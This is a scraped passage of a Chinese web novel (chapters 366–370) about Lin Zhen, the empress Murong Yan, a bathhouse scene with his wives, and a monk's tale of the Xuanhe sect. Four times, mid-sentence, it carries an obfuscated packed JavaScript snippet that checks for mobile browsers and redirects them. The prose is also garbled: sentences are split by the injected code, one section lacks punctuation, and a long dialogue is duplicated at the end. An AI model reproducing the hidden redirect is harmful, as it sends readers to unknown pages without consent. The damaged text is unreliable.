“父亲.呸呸呸!夫君,你这是怎么弄的?怎么这般吓人?” 这噬心蛊的伤疤让林臻也有些摸不着头脑。 平时看不见,只有在心血澎湃的时候才会显露出来,而且是火红色的,伤口狰狞恐怖,像一只血红的大蜘蛛。 林臻摇摇头:“还不都是噬心蛊闹的。” “这个该死的楚惜灵,夫君,你留着她干什么!直接弄死多好!” “不行的。”林臻帮慕容嫣把凤袍整理好,最后在她胸口深情一吻,说道:“大乾的发展离不开她,再说,就目前来看,噬心蛊的好处绝对要比坏处多,你难道就没有发现?” 慕容嫣翻个白眼:“当然发现了,可是.那个地方大大小小又能怎么样?臣妾又不挑剔,最重要的是你的身体如何啊?” “身体也比以前要强很多,甚至我觉得我力气大得惊人!不信你看。” 林臻把慕容嫣藏在凤袍里的腿曲起来,单手拖住,直接将她整个身体举过头顶! “天呐!” 第366章 朕还是别去做那个坏女人了 慕容嫣没有丝毫惊吓,就觉得自己腿下这支臂膀十分沉稳有力,但从外表上却看不出任何轮廓,不像那些练家子,手腕和腰一样粗。 慕容嫣下来,抱着林臻的手臂仔细地把玩,惊奇的道:“这到底是怎么做到的,夫君以前可没有这么大力气。” “说的就是啊,所以说,这噬心蛊对我来讲绝对是利大于弊,所以嫣儿就不必担心了。” “唉,也罢,就你这性格,让你杀了楚惜灵你也舍不得,朕还是别去做那个坏女人了。”慕容嫣重新落座,目光看向步辇外面。 虽然刚刚有些冲动,但是她没忘记,自己是来视察地方的。 行至城外,阳光愈发耀眼,却没有任何温度。 林臻总觉得慕容嫣就是为了躲避林臻的婚礼,所以才故意要南巡的。 否则大冬天的南巡什么?冻都要冻死人。 “嫣儿,难道你真的打算南巡?现在天气这么冷,有什么好看的?” “其实,朕是想看看煊赫门的人会不会突然冲出来做些什么。” “你拿自己当诱饵?” “不可以吗?以前有什么危险夫君总是把朕护在后面,现在也该让朕做些什么了。” 林臻微微有些感动。 这妮子长大了呀。 她不再是那个心思单纯,一心想着顾北辰的小姑娘了。 北国风光,千里冰封,万里雪飘。 道路两旁,百姓们不分男女老幼,听闻女帝南巡,纷纷跑出来跪在新修的笔直的官道两侧,跪地叩首,丝毫不顾寒冷的天气。 “陛下万岁!” 慕容嫣见状,对林臻说道:“夫君,你说是朕更受百姓爱戴,还是你更受爱戴?” 林臻摸了摸鼻子,不知道该怎么回答。 “别逃避话题!” “应该是陛下吧。” 慕容嫣放下车帘,靠在椅背上叹了口气:“唉,夫君啊,你说这新打下来的土地可怎么办呀,据说那边很多楚国官员都挂印辞官回南楚了。” “随他们去,我们在当地选择有威望并且支持大乾的家族,让他们派人出任地方官,等明年大考过后,就可以有新的官员了。” “也好,就依夫君所言。” 随着步辇的前行,京城的繁华渐渐被抛在身后,取而代之的是广袤的冰封田野和错落有致的村庄。 田间,家家户户都在烧火取暖,房子顶端的烟囱升起袅袅青烟。 村里,孩童们穿着冬衣在院子里嬉笑玩 耍,妇女们则聚在一起,聊天做针线。 这一幕幕平凡而真实的生活场景,让慕容嫣陷入了沉思。 如今百姓的生活依然不富裕,但在她和林臻的努力总不至于吃不上饭。 很快南楚就要送来岁供了,到那时,百姓的生活应该会更好一些。 而林臻,一路上也在默默观察着慕容嫣的反应。 他发现,这位平日里高高在上的女帝,在面对百姓的疾苦时,眼中流露出的是真切的同情与责任感。 这让他对慕容嫣又多了几分敬意,心中暗自决定,一定要协助她圆满完成此次南巡任务,为大乾的繁荣昌盛贡献自己的力量。 不知不觉已经是下午,步辇来到涿县。 县城不大,却也热闹非凡,街边摆满了各种摊位,贩卖着当地的特产和手工艺品。 慕容嫣见状,兴致颇高,对林臻说:“夫君,我们下去走走吧!” “也好。” 说着,林臻便率先下了步辇,指挥着侍卫们散开,严格保护。 慕容嫣莲步轻移,走下步辇,她身着凤袍,气质高贵非凡,所到之处,百姓们纷纷侧目,惊叹不已。 有的百姓激动得热泪盈眶,跪地高呼“万岁”;有的则怯生生地站在一旁,偷偷打量着这位传说中的女帝。 慕容嫣面带微笑,一一与百姓们打招呼,询问他们的生活状况,倾听他们的心声。 林臻跟在她身后,时刻警惕着周围的动静,确保她的安全。 在一个卖手工艺品的摊位前,慕容嫣被一件精美的刺绣吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184925|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引住了。 那刺绣以丝线勾勒出一幅山水田园图,针法细腻,色彩鲜艳,栩栩如生。 摊主是一位老妇人,见女帝对自己的作品感兴趣,激动得双手颤抖,连忙跪地请安:“陛下,这是老身闲暇时绣的,若陛下喜欢,尽管拿去。” 慕容嫣微笑着扶起她,说道:“老人家,您的手艺真是精湛,朕很喜欢,这绣品多少钱,朕买下了。” 老妇人忙摆手:“陛下能看上是老身的福气,哪敢收钱啊。” 慕容嫣执意不肯,最终还是以高价买下了刺绣,让老妇人喜极而泣。 逛完街市,慕容嫣心情愉悦,重新坐上步辇,继续前行。 林臻也回到轿厢内,与她相对而坐。 慕容嫣看着手中的刺绣,对林臻说:“夫君你看,这民间艺人的手艺,真是让人惊叹。我们大乾有如此多的能人巧匠,若能加以扶持,必能让民间工艺发扬光大。” 林臻点头称是:“你说的没错,民间工艺不仅是百姓智慧的结晶,也是我大乾文化的瑰宝,确实应当给予重视。” 一路上交谈甚欢,慕容嫣也总算看到了自己治下的江山,最真实的一面。 夜幕降临,步辇在一个驿站停了下来。 驿站早已被侍卫们提前打扫干净,准备好了房间和饭菜。 慕容嫣在房间里用过晚膳后,对他说道:“夫君,这一路上也没碰到煊赫门的人,看来他们是不敢轻易动手了,不如我们明天就回去吧。” “合着你出来一趟,就为了引出煊赫门的人?” “也不是啊,至少朕看到了地方上最真实的一面。但是现在天气太冷了,我们有火炉可以取暖,但将士们过于辛苦,下午听无舌汇报,武清县为了迎接朕竟然开始打造行宫。这不可取,所以朕打算明天就返程,不给武清县令机会。” “噗呵呵呵,好,都听陛下的。” 皇帝嘛,想一出是一出。 可怜武清县令这次拍马屁没拍好,拍马蹄子上了。 劳民伤财的不说,结果皇帝还没去。 第367章 婉儿定当遵守妻子本分 摄政王府偏院,静谧中透着几分庄重。 这座院子虽地处王府一隅,却布置精巧。 此刻,林震仙端坐于阁中正堂,他身着一袭深紫色锦袍,袍上绣着暗纹云鹤,丝丝缕缕的金线穿梭其中,愈发衬出他身份的尊贵与威严。 上官婉儿站在他对面,身姿挺拔,不卑不亢。 因为是见长辈,所以她没有戴斗笠,而是把那张倾国倾城的脸落落大方地展现在人前。 她双手规矩地捏在一起,置于身前,手指纤细修长,指甲修剪得圆润光滑,不见丝毫张扬。双肩平稳,脊背挺直,一举一动皆透着传统世家女子的矜持与内敛,那是自幼受礼教熏陶养成的仪态,仿佛一举一动都有严苛的尺度衡量着。 林震仙微微抬眸,目光扫向上官婉儿,声音低沉:“婉儿,这次大婚你家人都不在场,委屈你了。 上官婉儿摇了摇头说道:“不委屈,能嫁给世子,是婉儿的福气。 “你是个懂事的,但老夫那不成器的孙子却是个喜欢胡来的主,这婚后生活你还要有个心里准备,而且臻儿妾室众多,这里外关系也需要你多用用心思。 “婉儿省得。 “你对婚礼有什么要求吗? 上官婉儿微微欠身,行了一礼,声音轻柔:“婉儿没有要求,全凭王爷做主。 她的语调平稳,没有丝毫的犹豫和矫情。 林震仙轻轻点头,眼中闪过一丝满意之色:“我与你祖父上官墨轩也算故交,这老学究最是死板,看重礼节,若是婚礼不周,估计他非从秦国跑过来质问老夫不可。依老夫之见,不如就按你们秦国的婚礼来办吧。 提及上官墨轩,林震仙有些黯然神伤。 岁月不饶人,当年在秦国发生的种种事情,他还历历在目。 上官婉儿再次欠身,依旧是那般谦逊有礼:“都听王爷的。 简短的五个字,将她的柔顺与乖巧展露无遗。 林震仙见状,嘴角勾起一抹淡淡的笑意,呵呵轻笑几声:“呵呵呵,你这样子倒是让老夫想起之前的孙媳妇,骄纵跋扈不知礼数,还敢暗中下毒,偏偏臻儿又喜欢,扬言非她不娶。这一晃,也有些时日了,如今看来,真是场笑话。说罢,他微微摇头,似是对过往之事颇多感慨。 上官婉儿并未附和着发笑,只是微微抬起眼眸,神色平静,淡淡说道:“王爷放心,婉儿定当遵守妻子本分,恪守妇道,相夫教子。 林震仙笑意更浓。 她最是喜欢 这样懂规矩,守规矩的传统女子。 不像刘书瑶那个蛇蝎心肠的女人。 不过话又说回来,好像除了晴雯以外,林臻现在的妻妾还都品行不错。 即便是晴雯,也要比刘书瑶好上百倍,更何况晴雯现在也在悄悄改变着,这次回来,就数她祖父长、祖父短,伺候的殷勤。 好啊。 家宅安宁,是个好兆头。 “那好,老夫这就去给你们安排婚礼,保证风风光光的。老夫要让大乾,乃至整个华夏大地的人都知道,林臻是你上官婉儿的丈夫,而你则是林臻的妻子!”说罢,他起身,大步流星地走出正堂,衣袂随风飘动,留下一抹背影。 接下来的几日,王府上下仿若变成了一个巨大的蜂巢,忙碌而有序。 丫鬟仆役们穿梭于各个庭院,手中或捧着红绸、或提着灯笼,脚步匆匆却又满脸喜气。 护卫营的将士们也放下了平日里的冷峻,帮忙搬运着大件的装饰物件,额头上豆大的汗珠滚落,砸在青石板上,溅起微小的水花。 王府大门前,车水马龙,买东西的小厮们吆喝着与商贩讨价还价,声音此起彼伏;挂灯笼的仆役们搭着梯子,小心翼翼地将一盏盏大红灯笼悬挂在门廊之上;铺地毯的匠人跪着身子,将一卷卷织锦红毯徐徐展开,平整地铺在道路中央;装饰婚房的工匠们更是精雕细琢,用金箔银纸剪出各种吉祥图案,贴在门窗之上,龙凤呈祥、喜鹊登枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184926|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,栩栩如生。 而林震仙则是坐在书房内,毛笔不停舞动,字迹刚劲有力。 一封封请帖被无数龙骧营将士送了出去。 或是朝中的文武百官,或是封疆大吏,上至一品大员,下至六品太守,无一遗漏。 一时间,大乾境内,但凡官场中人,皆收到了摄政王府的喜讯,纷纷开始琢磨着该准备何种厚礼,方能在这场盛事中不失体面。 远在皇宫的慕容嫣得知消息后,亦是龙颜大悦,当即下旨,举国同庆。 旨意一出,京城内外更是张灯结彩,街头巷尾弥漫着喜庆的气息。 百姓们虽不知这王府新人究竟是何模样,但听闻是摄政王府的喜事,又有皇上下旨,也都纷纷在自家门前挂起了红灯笼;商贾将货物打折销售;小贩吆喝声更加敞亮。 而这件事情的主人公林臻,则是在距离英雄赌场五十米远的洗浴中心泡澡。 赌场这条街都是林臻的,为了要打造娱乐城,他可是把半个小金库都搭了进去,如今除赌场外第一个产业洗浴中心,已经建成,他正在亲自尝试。 主要也是好久没泡澡了,家里虽然有浴桶但泡着总是不舒服,不畅快。 林臻慵懒地坐在洗浴中心的泡池里,温热的池水轻轻荡漾,泛起层层涟漪,温柔地包裹着他的身躯,舒缓着每一寸紧绷的肌肉。 这间洗浴中心可是林臻的心血所在,打造的十分精致奢华。 大厅穹顶高耸,木质横梁粗壮而坚实,其上雕梁画栋,美轮美奂。 一幅幅精美的木雕图案栩栩如生,或龙凤呈祥,翱翔于云海之间;或花鸟鱼虫,繁花盛开,娇艳欲滴;鸟儿振翅欲飞,鸣声婉转;鱼儿穿梭于水草之间,灵动活泼。 大厅呈规整的长方形布局,地面铺就着防滑的青石板,缝隙细密均匀。 沿着大厅的边缘,错落有致地摆放着几盆绿植,叶片宽大翠绿,或舒展如扇,或摇曳生姿,为这略带水汽的空间增添了几分清新的生机。 第368章 你不是最喜欢不在房间里了吗? 正对着大门的是一扇巨大的屏风屏风以红木为框质地坚硬纹理细腻泛着温润的光泽。 屏风两侧各有一条通道蜿蜒向后方通道墙壁上挂着一幅幅水墨丹青描绘着洗浴场景人物形态各异或惬意泡浴或谈笑风生让人不禁遐想沐浴的悠然之趣。 大厅中央三座汉白玉泡池错落分布池壁光滑细腻。 每个泡池周边皆环绕着一圈木质长椅供人休憩放松。池与池之间以雅致的盆栽相隔。 林臻所在的是中间那座水温最为适宜的水池。 此刻他惬意地躺靠着池壁修长健硕的身躯完全浸没在水中仅露出线条硬朗的脖颈与棱角分明的脸庞。 他双眼轻阖浓密的睫毛在眼睑下方投下淡淡的阴影神情放松而满足。 忽然一阵轻盈的脚步声传来打破了这片刻的宁静。 林臻嘴角勾起一抹不易察觉的浅笑想来应该是楚惜灵来了。 不多时裹着丝绸浴巾的楚惜灵映入眼帘。 那浴巾像是一层薄纱轻柔地贴合在身上却又难以完全遮掩她那玲珑有致的身材曲线。 浴巾下摆仅仅勉强遮住大腿根随着她的走动白皙嫩滑的大腿若隐若现引人遐想;往上看浴巾上方更是鼓鼓囊囊勾勒出她傲人的胸脯仿若熟透的蜜桃饱满而诱人。 楚惜灵莲步轻移手中稳稳端着一个精致的茶盘盘中摆放着一套古朴的茶具还有一壶热气腾腾的浓茶。 她小心翼翼地迈进浴池突如其来的温热刺激得她小脚微微一颤。 待寻得林臻身旁的空位她轻轻坐下动作优雅。 “这浴池与你的世界里的非常相似不错泡着很是舒服。只是我很好奇你这热水是哪来的该不会下面有人烧吧?”楚惜灵朱唇轻启一边说着一边熟练地拿起茶具素手轻扬为林臻斟上一杯香茗热气袅袅升腾模糊了她的面容却又为她添了几分朦胧的美感。 林臻缓缓睁开双眼眼中还带着些许慵懒惬意的余韵。 他看着身旁的楚惜灵目光在她浴巾下若隐若现的肌肤上短暂停留旋即笑着点点头:“没错你看那边。” 说着他抬手示意楚惜灵看向浴池上方的两个出水口。 楚惜灵顺着他手指的方向望去只见墙壁上突出来两个竹制的圆筒此刻没有热水流出来只有滴答声。 “这里是加热水的竹管连接后面 ,用来调节水温,水池里的水每天都会更换,所以也不用担心脏。” 林臻耐心地解释着。 “这倒是个好办法,只是这浴池的温度还是太低了,而且现在是冬天,出水后会很冷。” “我已经想到这一点了,这层下面有地下室,地下室里有我设计的管道,里面有热水,冬天的时候水会循环,加热青石板,这样温度就会提升。只是我今天来得突然,他们还没有青石板烧热呢。” “你说的该不会是地热吧?” “对,就是地热。” “呵呵呵呵,你还真是个天才,不过你这个天才劲持续不了多长时间了。因为我们的第一个锅炉即将出世。” “啊?”林臻险些从水里跳起来,“锅炉!?你还懂这个呢?” “且,你以为我像你一样喜欢玩政治啊?我在你的世界里学习的东西可多了呢。” 好家伙。 之前是烟袋锅子,现在又是锅炉。 短短一个月的时间楚惜灵给自己的惊喜实在太大了呀。 楚惜灵身子微微前倾,想要递给林臻一杯茶水。 然而这动作却让本就包裹不住的浴巾直接滑落。 她惊呼一声,连忙伸手稳住,脸颊瞬间浮上两朵红晕,十分娇羞动人。 林臻见状,嘴角笑意更浓,抬手将她拉进自己怀里,打趣道:“既然已经春光乍泄,何不更大方些呢!” 楚惜灵娇嗔地白了他一眼,轻轻拍开他的手:“死相!” 嘴上虽如此说,眼神里却没有半分恼意,反而透着几分亲昵。 她重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184927|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新端起一杯茶,轻轻吹散热气,递向林臻:“尝尝,这是我亲手炒的,看看合不合你口味。” 林臻接过茶,轻抿一口,茶香瞬间在口腔中散开,混合着池水的温热气息,让他通体舒畅。 “嗯!好茶。” 他由衷赞叹,目光炙热地再次落在楚惜灵身上。 楚惜灵扭了扭身子,翻过身坐在林臻腿上,双手勾住他的脖子,吐气如兰的说道:“控制好你自己!不许乱动!” “为什么啊?” “就是不许!因为我还没问完呢。” “那你问。”林臻说着,双手顺势伸入水中,握住楚惜灵的大腿。 楚惜灵也不管,笑着道:“你是不是还忽略了一个事情,那就是这个年代的女人是不可能集体洗澡的,你修男子洗浴倒也罢了,怎么还修女子的?” “看吧?你这现代化知识学得还是不够!女子不集体洗澡,你劝她们集体洗不就好了吗?” “什么意思?人家不洗你还给人家扒光了扔进泡池里啊?” “你忘了?我成立了一个报社,我们可以利用报社来宣传泡澡的好处,而且我会让椿儿去勋贵家里走动,带着她们家的女主人来这里洗澡。你想想看,如果那些诰命夫人都愿意集体洗澡,那百姓还有什么不愿意的?到时候我就把洗浴开遍大乾,赚得盆满钵满!” “大乾的百姓摊上你,也算倒了霉。”楚惜灵翻个白眼,转身就要下去。 林臻赶紧将她抱住:“诶诶诶,你干什么去?” “我洗完了,该回书院了!” “不行!为夫还没香香呢。” “啊?你可别胡来呀!” “哈哈哈哈哈。”林臻大笑几声,将楚惜灵死死搂在怀里。 两人身体紧紧贴着,肌肤相触,滚烫的温度透过池水传递,让两人的心都仿若小鹿乱撞。 “你不是最喜欢野战了么,今天这地方很不错。”言罢林臻在她耳垂上狠狠一吸,引得她浑身一颤。 第369章 水中嬉戏(为书友肆壹肆。加更) 楚惜灵是最怕痒的,刚刚这一下亲吻险些让她浑身骨头都酥了,歪歪软软的靠在林臻怀里。 林臻长臂一伸,带着几分霸道与宠溺,一把搂住她的纤腰,再次一口亲在她的耳垂上。 “啊呀!哈哈哈哈,你这死鬼! 她不停扭动身子,试图从林臻的怀抱中挣脱。 林臻加大力气,就是不让她走:“不许走! “你说不走就不走? 楚惜灵玉臂轻挥,竟一把将林臻推开。 林臻暗暗有些心惊。 因为自从噬心蛊鸠占鹊巢后,他就感觉力气大了很多,谁知楚惜灵还是一把将她的臂弯推开。 “你就会使坏!才不理你呢!楚惜灵脸颊绯红,眼神中透着丝丝笑意。 言罢,她一下扑进泡池里,如灵动的鱼儿般游走开来。 林臻怎肯罢休,迅速追了上去。 “灵儿,你力气怎么这么大? “废话,你以为就你被噬心蛊改造了吗? “啊?难道你也被噬心蛊强化了? 楚惜灵不理他,两人在泡池中一前一后地穿梭,池水被他们搅得泛起阵阵水花,波光粼粼。 林臻学过游泳,一个翻身恰似鲤鱼打挺,瞬间就追上她。 谁知楚惜灵一点也不慢,浑身湿湿滑滑的,很轻易就在他怀里溜走。 溜走后起身回头,眼中满是促狭与得意,那俏皮的模样让林臻的心愈发滚烫。 每一次肢体的触碰,都似有电流划过。 林臻很兴奋,楚惜灵同样很享受。 暧昧的气息愈发浓郁。 这时林臻想了个办法,潜进水里假装要追。 果然楚惜灵上当,翻身游走,谁知林臻几个大步,便伸手捉住了楚惜灵的手腕,一把将她搂进怀里。 楚惜灵轻轻惊呼一声,却也不再挣扎,只是胸脯微微起伏。 见林臻要亲上来,楚惜灵立刻用手堵住他的嘴:“你要回答我最后一个问题!否则不让亲! “那好吧,你说。 楚惜灵微微仰头:“你要知道,很多官员是不愿意和百姓一起娱乐的,你有没有建造单独的洗浴房间? 林臻自信一笑:“当然有,二楼、三楼、四楼都有独立的小汤屋,专门用来给不差钱的官员或者富商准备的。那些房间布置得极为雅致,设施一应俱全,不仅有私人的泡池,还有专门的休憩区,而且我还从燕来 楼买来五十个俏丽的小丫头,专门伺候包厢里的客人。另外,你的姐妹们也有自己的汤屋。” 考虑到女孩子爱干净,所以林臻干脆把四楼的包厢全部分给自己的妻妾们。像张俪、月妩她们,都有自己的朋友,偶尔也可以带朋友来。 楚惜灵听闻,莞尔一笑:“想得还是很周全的嘛。” 她的眼神中满是赞许。 这才是我楚惜灵看上的男人。 优秀! 林臻见状,哈哈大笑,再次搂住楚惜灵,微微低头,作势就要亲上去。 这次,楚惜灵没有拒绝,她缓缓闭上双眼,十分期待这场野战。 然而,就在这千钧一发之际,浴室的大门“嘎吱”一声,再次被人推开。 张俪带着月妩、刘妙颜袅袅婷婷地走了进来。 前面俩人还好,主要是刘妙颜,她个子实在太高了,简短的浴巾遮不住她傲人的身材。 遮住下面遮不住上面,遮住上面又遮不住下面,十分窘迫,脸颊涨得通红。 于是她边走边拉扯着浴巾,试图遮住更多,可那模样却愈发显得晃人眼睛,离很远那条比命还长的大腿就开始晃悠。 张俪眼波流转,一眼就洞悉了眼前的暧昧场景,嘴角勾起一抹玩味的笑意,笑着打趣道:“哎呦,看起来我们来得不是时候呢。” 那声音婉转如莺啼,带着几分调侃。 林臻却丝毫不在意这突如其来的“打扰”,大笑着回应:“哈哈哈,谁说的,你们来得正是时候!” 言罢,他猛地从水里站起来,水珠顺着他那完美如雕塑般的身材线条滚落,在灯火下闪烁着晶莹的光芒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚惜灵看着众人,嘴角依然挂着笑意,她轻轻抬手,将耳边凌乱的发丝捋到耳后:“既然都来了,那大家就一起吧。” 第370章 你家WIFI密码多少(为肆壹肆。加更) 她的声音平和,带着几分主人家的大方与热情。 张俪心里跟明镜似的,但并没有表现出来不满,只是淡淡点头。 月妩见张俪没有拒绝,也微微点头,轻声应和:“也好。” 言罢她伸出脚,缓缓迈进泡池。 池水轻轻荡漾,泛起涟漪。 张俪也在她后面进来,只是紧紧捏着浴巾不松手。 林臻坏坏地游过去,一把将她的浴巾扯掉。 “夫君快别混闹!!” 晚了,林臻不禁混闹,还把张俪搂进怀里,亲昵地说:“好久未曾与夫人亲热了。” “夫君,您快饶了妾身吧,这可使不得!” “使得!” “不行!!妾身还有事情要说呢!” 张俪死命地挣扎,眼看着要跑。 林臻听说有事情,索性松开她。 就见她在水里缓慢地走着,一把抓起浴巾裹在身上,脸蛋绯红,仿佛能滴出血来。 林臻靠在池壁上问道:“有什么事情,说吧。” “不说!” “嘿,你居然敢骗我!” 林臻作势又要冲过去,张俪哀求地道:“夫君快别闹了,我们好好泡一会儿嘛,等下还要回赌场去呢!” 那小模样可怜得要命,林臻也就没继续折腾。 大家安安静静地在泡池舒展身心。 偶尔随口聊聊最近京城发生的事情,谈谈对未来的规划。 这时,楚惜灵将烟袋锅子点上,递给林臻。 林臻吸了一口,又吐出去,呛得几女都咳嗽连连。 随着时间的推移,泡池里的水温渐渐变得有些凉了,张俪最先察觉到,她微微皱眉,轻轻抬手,摸了摸池水:“这水有些凉了,要不我们出去?” 众人纷纷点头,林臻率先起身,水珠从他身上滚落,砸在池边,溅起微小的水花。 他伸出手,依次拉起楚惜灵、张俪、月妩和刘妙颜:“走吧,别着凉了。” 众人裹上浴巾,携手走出泡池。 刚踏出泡池大门,一阵凉风袭来,众人下意识地相互靠近。 林臻顺势将几人搂紧:“快去更衣室换衣服,然后回去吧,我先上楼。” “夫君还有客人?” “算不上客人,应该说是敌人。” “我说你差不多得了,你不怕一口气抽死。”林臻对着歪靠在木榻上的棋牌佛撇撇嘴。 自己的烟袋锅子被他看见,好家伙,就像饿猫看 到咸鱼似的,眼珠子都绿了。也不管自己用没有用过,拿起来就抽,接连抽了五袋,搞得汤屋里烟气缭绕直辣眼睛。 棋牌佛吐出一大口烟雾,满脸舒爽地说:“你懂个屁,贫僧想这口想好多年了。” “你以前抽过?” 棋牌佛突然瞪了瞪眼睛,随即摇摇头。 “真没有?”林臻狐疑地问,他很怀疑这B也是个穿越者。 棋牌佛却很笃定地说:“没有,但贫僧见识过。” “真假的。”林臻还是不相信。 这个世界根本就没有抽烟这一说,就连大男主顾北辰都不会抽烟。 棋牌佛就算学孔子游历诸国也不可能见到。 他肯定是穿越者,或者接触过别的穿越者。 只是他不愿意说,林臻也懒得问。 “说说吧,你找贫僧估计不是光是洗澡吧?” “倒也不是什么大事,但是你先告诉我,你怎么知道我会在今天找你?还特意去王府门口等我。” “你忘了贫僧是做什么的了?算命啊!贫僧掐指一算,就知道你今天要请客,嘿嘿嘿嘿~”棋牌佛笑得有些奸诈。 林臻自顾自地倒了杯茶,也不去管,他现在迫切地想知道煊赫门的事情。 甚至是煊赫门与哈德门之间的恩怨。 他问道:“跟我说说煊赫门的事情。” “唉,就知道你要问这个。”棋牌佛终于坐起身,把林臻刚倒的茶水,滋溜~喝了下去。 林臻怒气冲冲地瞪大眼睛。 奶奶的,那是我的茶杯! 放眼四九城,谁敢这么对林臻,脑瓜子早挂在城门楼子上风干了。 棋牌佛却浑然不怕:“你问贫僧,算是问对人了。这煊赫门远比你想象的要强大,也更加隐秘。如果要追根溯源,是一千三百六十八年之前。当时华夏大地还是一统的状态,国号为周。大周皇帝英明神武,一统天下,手下人才济济。这其中,就有煊赫门的创始人,韩风。 这老家伙长得一般,但就是很有才华,甚至可以说是风华绝代。而且熟知朝堂、政治、农事、帝王权术等等为官之道。在大周统一之前,他是周国的太子太保,后来老皇帝驾崩,太子上位,他就成了大周丞相,帮助太子一统天下。可以说没有韩风,就没有大周,也没有后来的煊赫门。” 林臻问道:“这么牛逼的人是怎么死的?” 棋牌佛拿茶杯的手一顿,随即舒展开来说道:“自杀。” “为什么?” 如此风华绝代的大儒竟然会选择自杀?选择长生也比自杀好啊。 棋牌佛叹了口气说道:“唉,他活得太久了,二百三十岁的时候,他不知多少代的重孙子都去世了,他经受不住这样的打击,于是就在泰山顶上跳了下去。” “你别跟我讲故事,什么人能活到二百多岁?开什么玩笑。” “你这毛头小子!”棋牌佛拿起烟袋锅子作势要敲林臻脑袋,最后想想还是放下了,“世界之大无奇不有,你才有几年阅历,怎么就知道没有人能活到二百岁呢?” “我就是知道。”林臻也懒得解释,总不能说在后世那么发达的医疗条件下,也没有人能活到二百这样的话吧。 “不,你不知道。这个世界,和你想象的不一样。” 嘶. 林臻突然倒吸一口凉气。 世界? 这句话可太像现代人了啊。 棋牌佛模样深邃,却透露着一股老态:“这个世界上有很多神奇的事情,包括贫僧之前也不相信的事情,都一一发生了,所以,年轻人,你要有敬畏之心。” 林臻突然鬼使神差地低声问了一句:“你家WIFI密码多少?” “噗什么玩意?” 到咸鱼似的,眼珠子都绿了。也不管自己用没有用过,拿起来就抽,接连抽了五袋,搞得汤屋里烟气缭绕直辣眼睛。 棋牌佛吐出一大口烟雾,满脸舒爽地说:“你懂个屁,贫僧想这口想好多年了。” “你以前抽过?” 棋牌佛突然瞪了瞪眼睛,随即摇摇头。 “真没有?”林臻狐疑地问,他很怀疑这B也是个穿越者。 棋牌佛却很笃定地说:“没有,但贫僧见识过。” “真假的。”林臻还是不相信。 这个世界根本就没有抽烟这一说,就连大男主顾北辰都不会抽烟。 棋牌佛就算学孔子游历诸国也不可能见到。 他肯定是穿越者,或者接触过别的穿越者。 只是他不愿意说,林臻也懒得问。 “说说吧,你找贫僧估计不是光是洗澡吧?” “倒也不是什么大事,但是你先告诉我,你怎么知道我会在今天找你?还特意去王府门口等我。” “你忘了贫僧是做什么的了?算命啊!贫僧掐指一算,就知道你今天要请客,嘿嘿嘿嘿~”棋牌佛笑得有些奸诈。 林臻自顾自地倒了杯茶,也不去管,他现在迫切地想知道煊赫门的事情。 甚至是煊赫门与哈德门之间的恩怨。 他问道:“跟我说说煊赫门的事情。” “唉,就知道你要问这个。”棋牌佛终于坐起身,把林臻刚倒的茶水,滋溜~喝了下去。 林臻怒气冲冲地瞪大眼睛。 奶奶的,那是我的茶杯! 放眼四九城,谁敢这么对林臻,脑瓜子早挂在城门楼子上风干了。 棋牌佛却浑然不怕:“你问贫僧,算是问对人了。这煊赫门远比你想象的要强大,也更加隐秘。如果要追根溯源,是一千三百六十八年之前。当时华夏大地还是一统的状态,国号为周。大周皇帝英明神武,一统天下,手下人才济济。这其中,就有煊赫门的创始人,韩风。 这老家伙长得一般,但就是很有才华,甚至可以说是风华绝代。而且熟知朝堂、政治、农事、帝王权术等等为官之道。在大周统一之前,他是周国的太子太保,后来老皇帝驾崩,太子上位,他就成了大周丞相,帮助太子一统天下。可以说没有韩风,就没有大周,也没有后来的煊赫门。” 林臻问道:“这么牛逼的人是怎么死的?” 棋牌佛拿茶杯的手一顿,随即舒展开来说道:“自杀。” “为什么?” 如此风华绝代的大儒竟然会选择自杀?选择长生也比自杀好啊。 棋牌佛叹了口气说道:“唉,他活得太久了,二百三十岁的时候,他不知多少代的重孙子都去世了,他经受不住这样的打击,于是就在泰山顶上跳了下去。” “你别跟我讲故事,什么人能活到二百多岁?开什么玩笑。” “你这毛头小子!”棋牌佛拿起烟袋锅子作势要敲林臻脑袋,最后想想还是放下了,“世界之大无奇不有,你才有几年阅历,怎么就知道没有人能活到二百岁呢?” 